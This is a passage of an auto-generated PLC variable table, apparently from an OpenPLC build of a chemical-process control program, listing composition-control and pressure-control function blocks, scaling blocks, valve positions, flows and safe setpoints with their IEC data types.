+84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; 